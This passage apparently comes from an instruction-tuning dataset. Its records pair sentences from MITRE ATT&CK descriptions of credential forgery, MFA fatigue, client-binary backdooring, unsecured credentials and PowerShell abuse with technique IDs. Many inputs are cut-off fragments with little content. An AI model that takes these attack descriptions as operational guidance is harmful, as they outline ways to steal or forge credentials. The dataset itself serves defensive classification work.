mechanisms.(Citation: Volexity SolarWinds)(Citation: ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019) ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation:", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cyberark Golden SAML)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cyberark Golden SAML) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account.", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", "output": "T1606.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance) ### Response: T1606.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may generate these credential materials in order to gain access to web resources.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may generate these credential materials in order to gain access to web resources. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539),", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AWS Temporary Security Credentials)(Citation: Zimbra Preauth)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AWS Temporary Security Credentials)(Citation: Zimbra Preauth) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation:", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft SolarWinds Customer Guidance)", "output": "T1606", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft SolarWinds Customer Guidance) ### Response: T1606."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.", "output": "T1621", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users. ### Response: T1621."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control.", "output": "T1621", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. ### Response: T1621."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.", "output": "T1621", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. ### Response: T1621."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.", "output": "T1621", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue. ### Response: T1621."}{"instruction": "List the MITRE techniques contained in the text.", "input": "\u201d(Citation:", "output": "T1621", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: \u201d(Citation: ### Response: T1621."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", "output": "T1621", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe) ### Response: T1621."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify client software binaries to establish persistent access to systems.", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify client software binaries to establish persistent access to systems. ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Client software enables users to access services provided by a server.", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Client software enables users to access services provided by a server. ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common client software types are SSH clients, FTP clients, email clients, and web browsers.", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common client software types are SSH clients, FTP clients, email clients, and web browsers. ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use.", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one.", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation:", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution.", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 Banking Trojans Hooking 2022) prior to the binary\u2019s legitimate execution. ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021) ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.", "output": "T1554", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host. ### Response: T1554."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may directly collect unsecured credentials stored or passed through user communication services.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may directly collect unsecured credentials stored or passed through user communication services. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks). ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse PowerShell commands and scripts for execution.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse PowerShell commands and scripts for execution. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell)", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation:", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Github PSAttack)", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Github PSAttack) ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Management.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Management. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation:", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) ### Response: T1059.001."}{"instruction": "List the 